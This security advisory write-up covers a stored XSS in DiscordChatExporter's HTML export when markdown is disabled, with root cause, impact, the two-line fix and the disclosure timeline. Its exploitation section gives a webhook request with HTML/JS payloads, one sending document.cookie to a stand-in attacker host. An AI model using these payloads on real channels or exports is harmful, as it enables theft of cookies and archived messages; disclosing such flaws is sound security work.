The unencoded fallback: stored XSS in DiscordChatExporter's HTML export
DiscordChatExporter renders markdown-formatted exports safely — every text node is HTML-encoded on the way out. Flip one switch (--markdown false) and the encoding quietly disappears: message content goes straight to @Html.Raw(), and a Discord webhook becomes a stored-XSS delivery system.
Analyzed and reproduced against DiscordChatExporter (CLI and GUI, current release at time of report), exporting with markdown formatting disabled. Affected: ≤ 2.47.1; fixed in 2.47.2. Published as GHSA-8qrv-mmch-fr9c under coordinated disclosure.
Summary
DiscordChatExporter turns Discord channels into HTML archives. When markdown rendering is enabled (the default), every user-controlled string passes through WebUtility.HtmlEncode() before it reaches the page. When the user exports with markdown disabled — a common choice for code-heavy channels, legal archives, or as a workaround for markdown rendering quirks — the fallback branch returns the raw string unchanged, and the Razor template emits it with @Html.Raw(). An attacker who can post into a channel (any webhook will do) plants JavaScript that executes the moment anyone opens the exported file.
Root cause: the branch that skipped encoding
In MessageGroupTemplate.cshtml, two helpers decide how message text is produced:
async ValueTask<string> FormatMarkdownAsync(string markdown) =>
Context.Request.ShouldFormatMarkdown
? await HtmlMarkdownVisitor.FormatAsync(...) // encodes everything
: markdown; // ← raw string, no encoding — then @Html.Raw() emits it
The same pattern repeats in FormatEmbedMarkdownAsync. The safe path exists — it is simply bypassed on this branch. What makes it sting is the reach: nine injection points across the template, all fed by attacker-controlled Discord content — message body, forwarded and reply bodies, embed title (three template locations), embed description, embed field name and value. Discord does not strip HTML from any of them.
Exploitation
Step one — post the payload through a webhook (any channel the attacker can manage):
POST /api/webhooks/XXXX/YYYY HTTP/1.1
Host: discord.com
Content-Type: application/json
{
"content": "<img src=x onerror=\"fetch('https://attacker.example/steal?c='+document.cookie)\">",
"embeds": [{
"title": "<img src=x onerror=alert('title')\">",
"description": "<script>document.title='XSS'</script>",
"fields": [{ "name": "<svg onload=alert('field')>", "value": "normal" }]
}]
}
Step two — wait. Any analyst, lawyer, or server member who later exports the channel and opens the HTML runs the payload:
# victim side, days later
DiscordChatExporter.Cli export -t TOKEN -c CHANNEL \
--format Html --markdown false
# open export.html → the <img onerror> fires in the browser
The export is a local file, but it renders as a full web page — the payload can read the entire archive (every exported message, including channels the attacker never saw) and exfiltrate it, or repaint the page into a credential form.
Why it matters
- Stored, not reflected. The payload lives in Discord's message history; every future export of that channel is a new trap.
- The trigger is a feature, not an error.
--markdown falseis a documented, prominent option in both CLI and GUI — people reach for it precisely when archiving for compliance or fighting markdown bugs. - The audience is the juicy part. Exports are made for review — moderators, legal, management. The XSS runs in their browsers, with the whole archive in hand.
Exploitation requires the victim to export with markdown disabled and open the file — a user action and a non-default flag. Hence High, not Critical. The fix is two lines: route the fallback branch through WebUtility.HtmlEncode(), mirroring the safe path.
Disclosure timeline
- 2026-08 — issue identified during our export-pipeline security review; reproduced with a live webhook payload.
- 2026-08 — reported to the maintainer through a GitHub private security advisory.
- 2026-08 — CVE-2026-54682 assigned; fix shipped in 2.47.2; GHSA-8qrv-mmch-fr9c published.
- 2026-08-13 — public write-up (this page).
References
DiscordChatExporter.Core/Exporting/MessageGroupTemplate.cshtml— the two fallback helpers;HtmlMarkdownVisitor.cs:25— the encoding safe path.- GHSA-8qrv-mmch-fr9c — the published advisory.
- Related hardening gap in the same file: CVE-2026-54681.